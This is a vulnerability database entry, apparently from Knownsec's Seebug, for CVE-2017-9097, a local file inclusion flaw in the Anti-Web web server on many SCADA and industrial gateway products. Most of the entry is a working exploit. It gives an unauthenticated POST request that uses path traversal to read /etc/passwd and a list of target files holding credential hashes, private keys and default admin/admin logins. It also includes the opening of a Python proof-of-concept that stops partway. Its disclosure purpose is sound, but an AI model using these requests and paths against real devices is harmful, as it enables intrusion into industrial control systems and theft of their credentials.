Apps industrial OT over Server: Anti-Web Local File Inclusion(CVE-2017-9097)

基本字段

漏洞编号：
SSV-96556
披露/发现时间：
2017-05-15
提交时间：
2017-09-20
漏洞等级：
漏洞类别：
本地文件包含
影响组件：
Anti-Web httpd
漏洞作者：
Fernandez Ezequiel&Bertin Jose
提交者：
Knownsec
CVE-ID：
CVE-2017-9097
CNNVD-ID：
补充
CNVD-ID：
补充
ZoomEye Dork：
补充

来源

漏洞详情

贡献者 共获得  0KB

Exploit Title: Apps industrial OT over Server: "Anti-Web 3.x.x < 3.8.x" vuln: Local File Inclusion

[*] Date: 15/05/2017
[*] Exploit Author: Bertin Jose ( @bertinjoseb ) && Fernandez Ezequiel ( @capitan_alfa ) 
[*] Vendor: Multiples vendors
[*] Category: Industrial OT webapps

[+] DESCRIPTION:

[*] vulnerability:        LFI ( Local File Inclusion ) 
[*] Attack Vector (AV):     Remote
[*] Attack Complexity (AC):     Low
[*] Privileges Required (PR):    None  (no necesita autenticacion alguna)
[*] Confidentiality (C):     High

LFI:

Un "LFI" es una vulnerabilidad sobre aplicaciones web que permiten la inclusión de archivos locales, es decir aquellos ficheros que se encuentran en el mismo servidor de la web. La vulnerabilidad radica en la posibilidad de modificar en origen de estos archivos.

La aplicaciones web de los dispositivos testeados permiten las obtención de archivos alojados en el server. Enviando una peticion POST adulterada, apuntando a archivos existentes en el servidor. Sin necesidad de ningun tipo de credencial.

AFFECTED PRODUCTS (testead):

  • CRE Technology - BSD plus

  • Supervision SEGEM Stockage Monaco

  • SAUTER"

  • Ny sida 5
  • Air-Site® - WEB100
  • ABB, SREA-01
  • ABB SREA-50, UGETAM-GES
  • ABB SREA-50, EDM - De Marco
  • AEDILIS SMART-1
  • Alliance - AWU 500
  • system Alliance - AWU 600
  • Carlo Gavazzi - SIU-DLG
  • DSE / Deep Sea Electronics
  • NetBiter® - FGW200
  • NetBiter® - WS100
  • NetBiter® - EC150
  • NetBiter® - WS200
  • NetBiter® - EC250
  • NetBiter® - webSCADA
  • OUMAN - EH-net
  • Smart Qmmunicator
  • SyxthSense WebBiter

  • (and more....)

  • [!] It's products that makes it possible to remotely operate "Scada" control devices and systems via the internet.

VERSION WEBSERVER:

  • Anti-Web V3.0.7-hms2
  • ...
  • Anti-Web V3.3.5
  • ...
  • Anti-Web V3.6.1
  • ...
  • Anti-Web V3.7.1
  • Anti-Web V3.7.2
  • ...
  • Anti-Web V3.8.1
  • Anti-Web V3.8.2
  • Anti-Web V3.8.3
  • Anti-Web V3.8.4
  • Anti-Web V3.8.5
  • Anti-Web V3.8.7

Steps To Reproduction:

Simple HTTP Request


    POST /cgi-bin/write.cgi HTTP/1.1
    Host: <host>
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: es-AR,en-US;q=0.7,en;q=0.3
    Referer: http://<host>/
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 52

    page=/&template=../../../../../../etc/passwd

on the wild!:

Servers anti-web

anti_web

PANEL WEB (examples):

Tool / PoC:

anti-web-v1.py <host> <port>

RUN THE POC:

cool file: home/config/users.cfg

The file "home/config/users.cfg" have all credentials

format of passwords hash:

  • hashUser = md5(password + username) *

Other/Old CVE

CVE-2010-4730 CVE-2010-4733

The Security Advisories and Alerts of cisco, write:

"Intellicom Netbiter webSCADA Multiple Vulnerabilities"

To exploit these vulnerabilities, authentication with superadmin privileges is required.  Since the affected software by default assigns superadmin privileges to the user, exploitation of default passwords could increase the security risk.

However, the affected application fails to prompt for the modification of default passwords during installation.  This flaw could allow the attacker to exploit the existing vulnerabilities within the application if an administrator has not changed the default credentials.

Intellicom has released updated packages at the following links:

WS100
Netbiter v3.30.2 b184

WS200
Netbiter v3.30.4 b277

ICS-CERT has released advisories at the following links: ICSA-10-316-01 and ICSA-10-316-01A

Still vulnerable :

Now and without any credentials

Scadas examples :

PATHS LFIs:

[*] PATHS_CONF:
    ../etc/config/resolv.conf
    ../etc/config/ethernet.conf
    ../etc/config/system.conf
    ../etc/config/rtu_mast.conf 
    ../etc/config/general.conf
    ../etc/config/awhttpd.conf

    --------------------------------------------
    privkey         /etc/config/privkeySrv.pem
    certificate     /etc/config/certSrv.pem
    ----------------------------------------------

[*] PATH CGI:
    /home/httpd/cgi-bin/read.cgi
    /home/httpd/cgi-bin/write.cgi
    /home/httpd/cgi-bin/systeminfo.cgi 
    /home/httpd/cgi-bin/log.tar         
    /home/httpd/cgi-bin/lcomm.cgi
    /home/httpd/cgi-bin/backup.nbb


[*] PATHS_extra:

    ../home/config/passwd

    ../etc/passwd
    ../etc/group
    ../etc/hosts
    ../etc/config/crontab
    ../etc/version
    ../etc/inittab
    ../etc/fstab

    ../etc/config/tsmgr.xml
    ../etc/config/eventmgr.xml
    ../etc/config/commgr.xml
                                      <Server>
                                         <UserName>admin</UserName>
                                         <Password>admin</Password>
                                         <LocalIP>10.200.2.1</LocalIP>
                                         <RemoteIP>10.200.2.2</RemoteIP>
                                      </Server>
    ../etc/config/events.xml

    ../etc/config/interfaces.xml
    ../etc/config/vendorpages.xml
    ../etc/config/controllers.xml
    ../etc/config/templates/controllers/1.xml
    ../etc/config/templates/controllers/broadcast.xml
    ../var/alarmstatus.xml
    ../tmp/testmail.xml

    ../var/log/log.csv
    ../home/log/log.csv
共 0  兑换了

PoC (非 pocsuite 插件)

贡献者 Knownsec 共获得   0KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# -*- coding: utf-8 -*-
import requests
import sys
banner = '''
|=--------------------------------------------------------------------=|
|=---------=[ Server: "Anti-Web 3.0.x < 3.8.x" LFI Exploit ]=---------=|
|=--------------------------=[ 15 may 2017 ]=-------------------------=|
|=-------------------------=[ Researcher: ]=------------------------=|
|=---------------=[ Bertin Jose && Fernandez Ezequiel ]=--------------=|
|=--------------------------------------------------------------------=|
'''
details = '''
# Exploit Title: Apps industrial OT over Server: "Anti-Web 3.0.x < 3.8.x" Local File Inclusion
# Date: 15/05/2017
# Exploit Author: Bertin Jose ( @bertinjoseb ) && Fernandez Ezequiel ( @capitan_alfa )
# Vendor: Multiples vendors
# Category: Industrial OT webapps
'''
dm = sys.argv[1]
port = sys.argv[2]
headers = {}
class Colors:
BLUE = '\033[94m'
GREEN = '\033[32m'
RED = '\033[0;31m'
DEFAULT = '\033[0m'
ORANGE = '\033[33m'
WHITE = '\033[97m'
BOLD = '\033[1m'
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

共 0 兑换

参考链接

解决方案

临时解决方案

暂无临时解决方案

官方解决方案

暂无官方解决方案

防护方案

暂无防护方案

生命线

相关漏洞

人气 7786
评论前需绑定手机 现在绑定

暂无评论

※本站提供的任何内容、代码与服务仅供学习，请勿用于非法用途，否则后果自负

京ICP备10040895号 京公网安备 11010502034610号 Copyright @ 404 Team from Knownsec. English